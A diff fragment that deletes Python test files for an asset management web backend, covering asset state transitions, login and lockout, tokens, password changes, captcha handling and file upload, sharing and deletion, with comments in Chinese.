# ("in_stock", "maintenance"),
# ("in_use", "transferring"),
# ("in_use", "maintenance"),
# ("maintenance", "in_stock"),
# ("transferring", "in_use"),
# ("in_use", "pending_scrap"),
# ("pending_scrap", "scrapped"),
# ]
#
# for old_status, new_status in valid_transitions:
# assert state_machine.can_transition(old_status, new_status) is True
#
# def test_invalid_state_transitions(self, state_machine):
# """测试无效的状态转换"""
# invalid_transitions = [
# ("pending", "in_use"), # pending不能直接到in_use
# ("in_stock", "pending"), # 不能回退到pending
# ("scrapped", "in_stock"), # 报废后不能恢复
# ("in_use", "pending_scrap"), # 应该先transferring
# ]
#
# for old_status, new_status in invalid_transitions:
# assert state_machine.can_transition(old_status, new_status) is False
#
# def test_record_state_change(self, db, state_machine, test_asset):
# """测试记录状态变更"""
# state_machine.record_state_change(
# db=db,
# asset_id=test_asset.id,
# old_status="in_stock",
# new_status="in_use",
# operator_id=1,
# operation_type="allocate",
# remark="资产分配"
# )
#
# history = db.query(AssetStatusHistory).filter(
# AssetStatusHistory.asset_id == test_asset.id
# ).first()
#
# assert history is not None
# assert history.old_status == "in_stock"
# assert history.new_status == "in_use"
# assert history.operation_type == "allocate"
# assert history.remark == "资产分配"
#
# def test_get_available_transitions(self, state_machine):
# """测试获取可用的状态转换"""
# transitions = state_machine.get_available_transitions("in_stock")
#
# assert "in_use" in transitions
# assert "maintenance" in transitions
# assert "pending_scrap" not in transitions
#
# def test_state_transition_with_invalid_permission(self, db, state_machine, test_asset):
# """测试无权限的状态转换"""
# # 普通用户不能直接报废资产
# with pytest.raises(PermissionDeniedException):
# state_machine.transition_state(
# db=db,
# asset_id=test_asset.id,
# new_status="scrapped",
# operator_id=999, # 无权限的用户
# operation_type="scrap"
# )
# class TestAssetStatistics:
# """测试资产统计"""
#
# @pytest.fixture
# def asset_service(self):
# return AssetService()
#
# def test_get_asset_overview(self, db, asset_service):
# """测试获取资产概览统计"""
# # 创建测试数据
# # ... 创建不同状态的资产
#
# stats = asset_service.get_asset_overview(db)
#
# assert stats["total_assets"] > 0
# assert stats["total_value"] > 0
# assert "assets_in_stock" in stats
# assert "assets_in_use" in stats
# assert "assets_maintenance" in stats
# assert "assets_scrapped" in stats
#
# def test_get_organization_distribution(self, db, asset_service):
# """测试获取网点分布统计"""
# distribution = asset_service.get_organization_distribution(db)
#
# assert isinstance(distribution, list)
# if len(distribution) > 0:
# assert "org_name" in distribution[0]
# assert "count" in distribution[0]
# assert "value" in distribution[0]
#
# def test_get_device_type_distribution(self, db, asset_service):
# """测试获取设备类型分布统计"""
# distribution = asset_service.get_device_type_distribution(db)
#
# assert isinstance(distribution, list)
# if len(distribution) > 0:
# assert "type_name" in distribution[0]
# assert "count" in distribution[0]
#
# def test_get_value_trend(self, db, asset_service):
# """测试获取价值趋势"""
# trend = asset_service.get_value_trend(
# db=db,
# start_date="2024-01-01",
# end_date="2024-12-31",
# group_by="month"
# )
#
# assert isinstance(trend, list)
# if len(trend) > 0:
# assert "date" in trend[0]
# assert "count" in trend[0]
# assert "value" in trend[0]
# 性能测试
# class TestAssetServicePerformance:
# """测试资产管理服务性能"""
#
# @pytest.fixture
# def asset_service(self):
# return AssetService()
#
# @pytest.mark.slow
# def test_large_asset_list_query_performance(self, db, asset_service):
# """测试大量资产查询性能"""
# # 创建1000个资产
# assets = []
# for i in range(1000):
# asset = Asset(
# asset_code=f"ASSET-20250124-{i:04d}",
# asset_name=f"测试资产{i}",
# device_type_id=1,
# organization_id=1,
# status="in_stock"
# )
# assets.append(asset)
# db.bulk_save_objects(assets)
# db.commit()
#
# import time
# start_time = time.time()
#
# items, total = asset_service.get_assets(
# db=db,
# skip=0,
# limit=20
# )
#
# elapsed_time = time.time() - start_time
#
# assert len(items) == 20
# assert total == 1000
# assert elapsed_time < 0.5 # 查询应该在500ms内完成
#
# @pytest.mark.slow
# def test_batch_allocation_performance(self, db, asset_service):
# """测试批量分配性能"""
# # 创建100个资产
# asset_ids = []
# for i in range(100):
# asset = Asset(
# asset_code=f"ASSET-20250124-{i:04d}",
# asset_name=f"测试资产{i}",
# device_type_id=1,
# organization_id=1,
# status="in_stock"
# )
# db.add(asset)
# db.flush()
# asset_ids.append(asset.id)
# db.commit()
#
# import time
# start_time = time.time()
#
# allocation_order = asset_service.allocate_assets(
# db=db,
# asset_ids=asset_ids,
# organization_id=2,
# operator_id=1
# )
#
# elapsed_time = time.time() - start_time
#
# assert allocation_order.asset_count == 100
# assert elapsed_time < 2.0 # 批量分配应该在2秒内完成

File diff suppressed because it is too large Load Diff

View File

@@ -1,762 +0,0 @@
"""
认证服务测试
测试内容:
- 登录服务测试(15+用例)
- Token管理测试(10+用例)
- 密码管理测试(10+用例)
- 验证码测试(5+用例)
"""
import pytest
from datetime import datetime, timedelta
from sqlalchemy.ext.asyncio import AsyncSession
from app.services.auth_service import auth_service
from app.models.user import User
from app.core.exceptions import (
InvalidCredentialsException,
UserLockedException,
UserDisabledException
)
# ==================== 登录服务测试 ====================
class TestAuthServiceLogin:
"""测试认证服务登录功能"""
@pytest.mark.asyncio
async def test_login_success(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试登录成功"""
result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
assert result.access_token is not None
assert result.refresh_token is not None
assert result.token_type == "Bearer"
assert result.user.id == test_user.id
assert result.user.username == test_user.username
@pytest.mark.asyncio
async def test_login_wrong_password(
self,
db_session: AsyncSession,
test_user: User
):
"""测试密码错误"""
with pytest.raises(InvalidCredentialsException):
await auth_service.login(
db_session,
test_user.username,
"wrongpassword",
"1234",
"test-uuid"
)
@pytest.mark.asyncio
async def test_login_user_not_found(
self,
db_session: AsyncSession
):
"""测试用户不存在"""
with pytest.raises(InvalidCredentialsException):
await auth_service.login(
db_session,
"nonexistent",
"password",
"1234",
"test-uuid"
)
@pytest.mark.asyncio
async def test_login_account_disabled(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试账户被禁用"""
test_user.status = "disabled"
await db_session.commit()
with pytest.raises(UserDisabledException):
await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
@pytest.mark.asyncio
async def test_login_account_locked(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试账户被锁定"""
test_user.status = "locked"
test_user.locked_until = datetime.utcnow() + timedelta(minutes=30)
await db_session.commit()
with pytest.raises(UserLockedException):
await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
@pytest.mark.asyncio
async def test_login_auto_unlock_after_lock_period(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试锁定期后自动解锁"""
test_user.status = "locked"
test_user.locked_until = datetime.utcnow() - timedelta(minutes=1)
await db_session.commit()
# 应该能登录成功并自动解锁
result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
assert result.access_token is not None
# 验证用户已解锁
await db_session.refresh(test_user)
assert test_user.status == "active"
assert test_user.locked_until is None
@pytest.mark.asyncio
async def test_login_increases_fail_count(
self,
db_session: AsyncSession,
test_user: User
):
"""测试登录失败增加失败次数"""
initial_count = test_user.login_fail_count
with pytest.raises(InvalidCredentialsException):
await auth_service.login(
db_session,
test_user.username,
"wrongpassword",
"1234",
"test-uuid"
)
await db_session.refresh(test_user)
assert test_user.login_fail_count == initial_count + 1
@pytest.mark.asyncio
async def test_login_locks_after_max_failures(
self,
db_session: AsyncSession,
test_user: User
):
"""测试达到最大失败次数后锁定"""
test_user.login_fail_count = 4 # 差一次就锁定
await db_session.commit()
with pytest.raises(UserLockedException):
await auth_service.login(
db_session,
test_user.username,
"wrongpassword",
"1234",
"test-uuid"
)
await db_session.refresh(test_user)
assert test_user.status == "locked"
assert test_user.locked_until is not None
@pytest.mark.asyncio
async def test_login_resets_fail_count_on_success(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试登录成功重置失败次数"""
test_user.login_fail_count = 3
await db_session.commit()
await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
await db_session.refresh(test_user)
assert test_user.login_fail_count == 0
@pytest.mark.asyncio
async def test_login_updates_last_login_time(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试登录更新最后登录时间"""
await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
await db_session.refresh(test_user)
assert test_user.last_login_at is not None
assert test_user.last_login_at.date() == datetime.utcnow().date()
@pytest.mark.asyncio
async def test_login_case_sensitive_username(
self,
db_session: AsyncSession,
test_user: User
):
"""测试用户名大小写敏感"""
with pytest.raises(InvalidCredentialsException):
await auth_service.login(
db_session,
test_user.username.upper(), # 大写
"password",
"1234",
"test-uuid"
)
@pytest.mark.asyncio
async def test_login_with_admin_user(
self,
db_session: AsyncSession,
test_admin: User,
test_password: str
):
"""测试管理员登录"""
result = await auth_service.login(
db_session,
test_admin.username,
test_password,
"1234",
"test-uuid"
)
assert result.user.is_admin is True
@pytest.mark.asyncio
async def test_login_generates_different_tokens(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试每次登录生成不同的Token"""
result1 = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
result2 = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
# Access token应该不同
assert result1.access_token != result2.access_token
@pytest.mark.asyncio
async def test_login_includes_user_roles(
self,
db_session: AsyncSession,
test_user: User,
test_role,
test_password: str
):
"""测试登录返回用户角色"""
# 分配角色
from app.models.user import UserRole
user_role = UserRole(
user_id=test_user.id,
role_id=test_role.id
)
db_session.add(user_role)
await db_session.commit()
result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
# 应该包含角色信息
# ==================== Token管理测试 ====================
class TestTokenManagement:
"""测试Token管理"""
@pytest.mark.asyncio
async def test_refresh_token_success(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试刷新Token成功"""
# 先登录
login_result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
# 刷新Token
result = await auth_service.refresh_token(
db_session,
login_result.refresh_token
)
assert "access_token" in result
assert "expires_in" in result
assert result["access_token"] != login_result.access_token
@pytest.mark.asyncio
async def test_refresh_token_invalid(
self,
db_session: AsyncSession
):
"""测试无效的刷新Token"""
with pytest.raises(InvalidCredentialsException):
await auth_service.refresh_token(
db_session,
"invalid_refresh_token"
)
@pytest.mark.asyncio
async def test_refresh_token_for_disabled_user(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试为禁用用户刷新Token"""
# 先登录
login_result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
# 禁用用户
test_user.status = "disabled"
await db_session.commit()
# 尝试刷新Token
with pytest.raises(InvalidCredentialsException):
await auth_service.refresh_token(
db_session,
login_result.refresh_token
)
@pytest.mark.asyncio
async def test_access_token_expiration(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试访问Token过期时间"""
from app.core.config import settings
login_result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
assert login_result.expires_in == settings.ACCESS_TOKEN_EXPIRE_MINUTES * 60
@pytest.mark.asyncio
async def test_token_contains_user_info(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试Token包含用户信息"""
login_result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
# 解析Token
from app.core.security import security_manager
payload = security_manager.verify_token(
login_result.access_token,
token_type="access"
)
assert int(payload.get("sub")) == test_user.id
assert payload.get("username") == test_user.username
@pytest.mark.asyncio
async def test_refresh_token_longer_lifespan(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试刷新Token比访问Token有效期更长"""
login_result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
# 验证两种Token都存在
assert login_result.access_token is not None
assert login_result.refresh_token is not None
assert login_result.access_token != login_result.refresh_token
@pytest.mark.asyncio
async def test_multiple_refresh_tokens(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试多次刷新Token"""
# 先登录
login_result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
# 多次刷新
refresh_token = login_result.refresh_token
for _ in range(3):
result = await auth_service.refresh_token(
db_session,
refresh_token
)
assert "access_token" in result
@pytest.mark.asyncio
async def test_token_type_is_bearer(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试Token类型为Bearer"""
login_result = await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
assert login_result.token_type == "Bearer"
@pytest.mark.asyncio
async def test_admin_user_has_all_permissions(
self,
db_session: AsyncSession,
test_admin: User,
test_password: str
):
"""测试管理员用户拥有所有权限"""
login_result = await auth_service.login(
db_session,
test_admin.username,
test_password,
"1234",
"test-uuid"
)
# 管理员应该有所有权限标记
# ==================== 密码管理测试 ====================
class TestPasswordManagement:
"""测试密码管理"""
@pytest.mark.asyncio
async def test_change_password_success(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试修改密码成功"""
result = await auth_service.change_password(
db_session,
test_user,
test_password,
"NewPassword123"
)
assert result is True
@pytest.mark.asyncio
async def test_change_password_wrong_old_password(
self,
db_session: AsyncSession,
test_user: User
):
"""测试修改密码时旧密码错误"""
with pytest.raises(InvalidCredentialsException):
await auth_service.change_password(
db_session,
test_user,
"wrongoldpassword",
"NewPassword123"
)
@pytest.mark.asyncio
async def test_change_password_updates_hash(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试修改密码更新哈希值"""
old_hash = test_user.password_hash
await auth_service.change_password(
db_session,
test_user,
test_password,
"NewPassword123"
)
await db_session.refresh(test_user)
assert test_user.password_hash != old_hash
@pytest.mark.asyncio
async def test_change_password_resets_lock_status(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试修改密码重置锁定状态"""
# 设置为锁定状态
test_user.status = "locked"
test_user.locked_until = datetime.utcnow() + timedelta(minutes=30)
test_user.login_fail_count = 5
await db_session.commit()
# 修改密码
await auth_service.change_password(
db_session,
test_user,
test_password,
"NewPassword123"
)
await db_session.refresh(test_user)
assert test_user.login_fail_count == 0
assert test_user.locked_until is None
@pytest.mark.asyncio
async def test_reset_password_by_admin(
self,
db_session: AsyncSession,
test_user: User
):
"""测试管理员重置密码"""
result = await auth_service.reset_password(
db_session,
test_user.id,
"AdminReset123"
)
assert result is True
@pytest.mark.asyncio
async def test_reset_password_non_existent_user(
self,
db_session: AsyncSession
):
"""测试重置不存在的用户密码"""
result = await auth_service.reset_password(
db_session,
999999,
"NewPassword123"
)
assert result is False
@pytest.mark.asyncio
async def test_password_hash_strength(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试密码哈希强度(bcrypt)"""
from app.core.security import get_password_hash
hash1 = get_password_hash("password123")
hash2 = get_password_hash("password123")
# 相同密码应该产生不同哈希(因为盐值不同)
assert hash1 != hash2
# 但都应该能验证成功
from app.core.security import security_manager
assert security_manager.verify_password("password123", hash1)
assert security_manager.verify_password("password123", hash2)
@pytest.mark.asyncio
async def test_new_password_login(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试用新密码登录"""
new_password = "NewPassword123"
# 修改密码
await auth_service.change_password(
db_session,
test_user,
test_password,
new_password
)
# 用新密码登录
result = await auth_service.login(
db_session,
test_user.username,
new_password,
"1234",
"test-uuid"
)
assert result.access_token is not None
@pytest.mark.asyncio
async def test_old_password_not_work_after_change(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试修改密码后旧密码不能登录"""
new_password = "NewPassword123"
# 修改密码
await auth_service.change_password(
db_session,
test_user,
test_password,
new_password
)
# 用旧密码登录应该失败
with pytest.raises(InvalidCredentialsException):
await auth_service.login(
db_session,
test_user.username,
test_password,
"1234",
"test-uuid"
)
# ==================== 验证码测试 ====================
class TestCaptchaVerification:
"""测试验证码验证"""
@pytest.mark.asyncio
async def test_captcha_verification_bypassed_in_test(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试验证码在测试环境中被绕过"""
# 当前的实现中,验证码验证总是返回True
result = await auth_service.login(
db_session,
test_user.username,
test_password,
"any_captcha",
"any_uuid"
)
assert result.access_token is not None
@pytest.mark.asyncio
async def test_captcha_required_parameter(
self,
db_session: AsyncSession,
test_user: User,
test_password: str
):
"""测试验证码参数存在"""
# 应该传递验证码参数,即使测试环境不验证
result = await auth_service.login(
db_session,
test_user.username,
test_password,
"",
""
)
# 验证码为空,测试环境应该允许
assert result.access_token is not None

View File

@@ -1,259 +0,0 @@
"""
文件管理模块测试
"""
import pytest
import os
from io import BytesIO
from fastapi.testclient import TestClient
from PIL import Image
def test_upload_file(client: TestClient, auth_headers: dict):
"""测试文件上传"""
# 创建测试图片
img = Image.new('RGB', (100, 100), color='red')
img_io = BytesIO()
img.save(img_io, 'JPEG')
img_io.seek(0)
response = client.post(
"/api/v1/files/upload",
headers=auth_headers,
files={"file": ("test.jpg", img_io, "image/jpeg")},
data={"remark": "测试文件"}
)
assert response.status_code == 200
data = response.json()
assert data["original_name"] == "test.jpg"
assert data["file_type"] == "image/jpeg"
assert data["message"] == "上传成功"
assert "id" in data
assert "download_url" in data
def test_upload_large_file(client: TestClient, auth_headers: dict):
"""测试大文件上传(应失败)"""
# 创建超过限制的文件11MB
large_content = b"x" * (11 * 1024 * 1024)
response = client.post(
"/api/v1/files/upload",
headers=auth_headers,
files={"file": ("large.jpg", BytesIO(large_content), "image/jpeg")}
)
assert response.status_code == 400
def test_upload_invalid_type(client: TestClient, auth_headers: dict):
"""测试不支持的文件类型(应失败)"""
response = client.post(
"/api/v1/files/upload",
headers=auth_headers,
files={"file": ("test.exe", BytesIO(b"test"), "application/x-msdownload")}
)
assert response.status_code == 400
def test_get_file_list(client: TestClient, auth_headers: dict):
"""测试获取文件列表"""
response = client.get(
"/api/v1/files/",
headers=auth_headers,
params={"page": 1, "page_size": 20}
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_file_detail(client: TestClient, auth_headers: dict):
"""测试获取文件详情"""
# 先上传一个文件
img = Image.new('RGB', (100, 100), color='blue')
img_io = BytesIO()
img.save(img_io, 'PNG')
img_io.seek(0)
upload_response = client.post(
"/api/v1/files/upload",
headers=auth_headers,
files={"file": ("test.png", img_io, "image/png")}
)
file_id = upload_response.json()["id"]
# 获取文件详情
response = client.get(
f"/api/v1/files/{file_id}",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["id"] == file_id
assert "download_url" in data
def test_get_file_statistics(client: TestClient, auth_headers: dict):
"""测试获取文件统计"""
response = client.get(
"/api/v1/files/statistics",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "total_files" in data
assert "total_size" in data
assert "type_distribution" in data
def test_create_share_link(client: TestClient, auth_headers: dict):
"""测试生成分享链接"""
# 先上传一个文件
img = Image.new('RGB', (100, 100), color='green')
img_io = BytesIO()
img.save(img_io, 'JPEG')
img_io.seek(0)
upload_response = client.post(
"/api/v1/files/upload",
headers=auth_headers,
files={"file": ("share.jpg", img_io, "image/jpeg")}
)
file_id = upload_response.json()["id"]
# 生成分享链接
response = client.post(
f"/api/v1/files/{file_id}/share",
headers=auth_headers,
json={"expire_days": 7}
)
assert response.status_code == 200
data = response.json()
assert "share_code" in data
assert "share_url" in data
assert "expire_time" in data
def test_delete_file(client: TestClient, auth_headers: dict):
"""测试删除文件"""
# 先上传一个文件
img = Image.new('RGB', (100, 100), color='yellow')
img_io = BytesIO()
img.save(img_io, 'JPEG')
img_io.seek(0)
upload_response = client.post(
"/api/v1/files/upload",
headers=auth_headers,
files={"file": ("delete.jpg", img_io, "image/jpeg")}
)
file_id = upload_response.json()["id"]
# 删除文件
response = client.delete(
f"/api/v1/files/{file_id}",
headers=auth_headers
)
assert response.status_code == 204
def test_batch_delete_files(client: TestClient, auth_headers: dict):
"""测试批量删除文件"""
# 上传多个文件
file_ids = []
for i in range(3):
img = Image.new('RGB', (100, 100), color='red')
img_io = BytesIO()
img.save(img_io, 'JPEG')
img_io.seek(0)
upload_response = client.post(
"/api/v1/files/upload",
headers=auth_headers,
files={"file": (f"batch_{i}.jpg", img_io, "image/jpeg")}
)
file_ids.append(upload_response.json()["id"])
# 批量删除
response = client.delete(
"/api/v1/files/batch",
headers=auth_headers,
json={"file_ids": file_ids}
)
assert response.status_code == 204
def test_chunk_upload_init(client: TestClient, auth_headers: dict):
"""测试初始化分片上传"""
response = client.post(
"/api/v1/files/chunks/init",
headers=auth_headers,
json={
"file_name": "large_file.zip",
"file_size": 10485760, # 10MB
"file_type": "application/zip",
"total_chunks": 2
}
)
assert response.status_code == 200
data = response.json()
assert "upload_id" in data
def test_access_shared_file(client: TestClient, auth_headers: dict):
"""测试访问分享文件"""
# 先上传一个文件
img = Image.new('RGB', (100, 100), color='purple')
img_io = BytesIO()
img.save(img_io, 'JPEG')
img_io.seek(0)
upload_response = client.post(
"/api/v1/files/upload",
headers=auth_headers,
files={"file": ("shared.jpg", img_io, "image/jpeg")}
)
file_id = upload_response.json()["id"]
# 生成分享链接
share_response = client.post(
f"/api/v1/files/{file_id}/share",
headers=auth_headers,
json={"expire_days": 7}
)
share_code = share_response.json()["share_code"]
# 访问分享文件(无需认证)
response = client.get(f"/api/v1/files/share/{share_code}")
assert response.status_code == 200
# 运行测试的fixtures
@pytest.fixture
def auth_headers(client: TestClient):
"""获取认证头"""
# 先登录
response = client.post(
"/api/v1/auth/login",
json={
"username": "admin",
"password": "admin123"
}
)
if response.status_code == 200:
token = response.json()["access_token"]
return {"Authorization": f"Bearer {token}"}
# 如果登录失败使用测试token
return {"Authorization": "Bearer test_token"}